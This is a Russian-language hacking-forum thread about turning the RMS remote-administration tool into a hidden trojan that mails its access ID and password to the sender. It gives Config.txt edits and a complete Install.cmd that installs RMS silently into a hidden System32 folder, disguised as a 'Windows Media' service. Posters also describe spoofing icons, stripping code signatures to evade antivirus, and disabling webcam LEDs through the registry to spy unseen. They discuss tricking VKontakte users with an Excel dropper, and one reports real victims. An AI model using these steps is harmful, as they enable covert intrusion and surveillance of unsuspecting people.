RMS 5.1 c отправкой ID и pass на почту.

sergeyt241, в какой ещё программе для срытия? Чем ты пользовался?

 

ProcHideB !!!

Подскажите, чем теперь этот файл (рмс сервер) упаковать, чтоб он имел другую иконку (фото к примеру мое) и при запуске, устанавливал какую нибудь (мною выбранную) программу или фото открывал?
Чтоб убрать процесс палевности, так сказать. А то прислал файл, чел его открывает и тишина???

Добавлено через 2 часа 4 минуты
Может есть у кого безпалевный джойнер?

 

1. Сменить иконку пост #737
2. Открыть файл Config.txt и добавить в 2 строке, чтобы не было слишком уж большой паузы при запуске

Код:

RunProgram="ваша_программа.exe"

Также, чтобы не вызывать подозрений пропадающим инсталлятором убираем строку

Код:

SelfDelete="1"

Нельзя чтобы ваша программа была другим MSI инсталлятором, это вызовет конфликт.
Лучше всего использовать portable версию чего-нибудь.
После создания EXE файла, открываем его 7-zip и добавляем внутрь вашу программу.
Если пользователь будет запускать ваш инсталлятор много раз, надо предусмотреть проверку чтобы исключить повторную установку сервера.
Открываем Install.cmd и правим его:

Код:

@chcp 1251
@echo off
@if not exist %SYSTEMROOT%\System32\sysfiles goto inst else goto noinst

:inst
@taskkill /f /im rutserv.exe
@reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
@MsiExec /x {61FFA475-24D5-44FB-A51F-39B699E3D82C} /qn REBOOT=ReallySuppress
@MsiExec /x {A5DB67DC-DB0E-4491-B9F7-F258A02EE03C} /qn REBOOT=ReallySuppress
@ping 127.0.0.1
@MsiExec /I "rms.msi" /qn
@attrib +s +h "%SYSTEMROOT%\System32\sysfiles"
@goto end

:noinst
@"%SYSTEMROOT%\System32\sysfiles\rutserv.exe" /silentinstall
@"%SYSTEMROOT%\System32\sysfiles\rutserv.exe" /firewall
@"%SYSTEMROOT%\System32\sysfiles\rutserv.exe" /start

:end
@ping 127.0.0.1
@sc config "RManService" start= auto displayname= "Windows Media"
@sc description "RManService" "Authorization and authentication for signed Windows Media files"

Что мы хотели этим сказать? Если папки, в который ставится наш RMS не существует, или он установлен в другую папку то устанавливаем как надо. Если папка уже есть, то ничего не делаем. Тут есть заковыка одна, если сервер установлен, но не запущен, мы обломаемся, поэтому в конце пишем команду на создание и запуск сервиса. Заодно и спрячем его.
Если же кровь из носу нужно MSI инсталятор в пакет добавить (и это понятно, инсталляторы обычно запускаются один раз), то делаем так:
В Config.txt убираем

Код:

SelfDelete="1"

Открываем Install.cmd и третьей строкой добавляем:

Код:

@MsiExec /I "наша_программа.msi"

P.S. vlader, Ещё один момент. Файлы сервера, которые мы патчим, подписаны сертификатом, Vista и 7 и некоторые антивирусы с подозрением относятся к программам с неправильным сертификатом и для уменьшения риска, лучше его убрать вообще. Что я и сделал. Также для уменьшения размера хорошо бы запаковать эти файлы хотя бы UPX. Мне лень это делать, да и проверять тоже.

 

чем может быть вызвана ошибка? пытаюсь вставить пропатченные, из предыдущего поста, файлы, но появляется сообщение, пишет "Не поддерживается".
или эти файлы можно залить потом в папку sysfiles?

 

AKSENOV048, архиваторы не поддерживают работу с msi. Отдельно залить можно, но только менять их нужно батнком.

 

vlader, понял! Спасибо! правда не знаю как))

 

Процедура обновления файлов сервера вручную:
Подключаемся в режиме Файлового менеджера. Идем в папку программы. Переименовываем rutserv и rfusclient в rutserv2 и rfusclient2. Заливаем в папку новые файлы. После перезагрузки удаленного компьютера, залезаем снова и удаляем rutserv2 и rfusclient2.

 

scandalist, спасибо!
еще вопрос по работе самого RMS. можно ли слушать звук с микрофона, если нет web камеры или она не подключена?

Добавлено:
прошу прощения. все работает. видимо были глюки.

 

отстукивает только во время заражения при наличии инета ? или можно заразить оффлайн машину флэшкой и она отстучит при появлении коннекта ?

 

cheech1440, только при коннекте.

Добавлено через 2 часа 9 минут
vlader, не ждёт.

 

Отключение LED индикатора на камерах Logitech
Открываем Удаленный реестр идем в

Код:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{6BDD1FC6-810F-11D0-BEC7-08002BE2092F}\0000\Settings]
"LVUVC_LEDControl"=dword:00000000  индикатор выключен
или
"LVUVC_LEDControl"=dword:00000001  индикатор включен постоянно
или
"LVUVC_LEDControl"=dword:00000004  индикатор включается автоматически

где "0000" номер камеры в системе, если она не одна.
Этот ключ работает для относительно новых камер. Примерно начиная с С100 до С905.
После изменения параметра следует дождаться перезагрузки.
Дополнительно при подключении камеры на экране может появляться окно управления:

Код:

[HKEY_CURRENT_USER\Software\LogiShrd\LWS\Preferences]
"AutoLaunch"="true" Запускать панель управления
или
"AutoLaunch"="false" Не запускать панель управления 

Для некоторых старых камер другой вариант:

Код:

[HKEY_CURRENT_USER\Software\Logitech\QuickCam10]
"LaunchRibbon"=dword:00000001 показывать панель
или
"LaunchRibbon"=dword:00000000 не показывать панель

 

Теперь возник вопрос, как "впарить" нашу сборку пользователю? Хотелось бы услышать ваши варианты!
Я в своей сборке заменил иконку на иконку архива. Название к архиву можно придумать любое.


можно заменить и иконку на любую, к примеру ворда.

Для эксперимента отправил завсегдатым в контакте по почте этот файл и результат удивил, сразу несколько человек успешно клюнуло...но это так ради эксперимента )

 

"впарить" - мне кажется в каждом случае это индивидуально. могу посоветовать для меньшей палевности, уменьшить вес "впариваемого" файла с помощью даунлоадера. я воспользовался даунлоадером (пароль на архив 123123) из этой темы "Скрытый RMS [удаленное администрирование]". вес получается ~500кб

 

придумал некий способ впаривания, но нужно додумать. можно внедрить файл даунлоадера в файл excel документа, его можно отправлять Вконтакте, под видом какого нибудь опросника! единственное пока не знаю как обойти окно предупреждение безопасности. вешаю на событие открытия книги запуск файла load.exe , но появляется вот такое окно . кто знает как его можно обойти?

PS: прошу у модераторов прощения если сообщение не относиться к теме!

 

Подскажите как пользоваться даунлоадером (прочитал про радмина (http://www.xaker.name/forvb/showthread.php?t=24615&highlight=%E4%E0%F3%ED%EB%EE%E0%E4%E5%F0), но не совсем все ясно)? Я так понимаю, иконка уже будет другой? Её тоже придется менять?

 

AKSENOV048, может нужна цифровая подпись.

 

vlader, да именно. ее можно сделать?

Добавлено через 1 минуту
может через прогу bat to exe converter?

 

AKSENOV048, когда-то на xakepok.su выкладывали архив для самопальной подписи, но истёк срок хранения файла. Назывался cp.rar. Может у кого есть? вот сообщение

 

cp.zip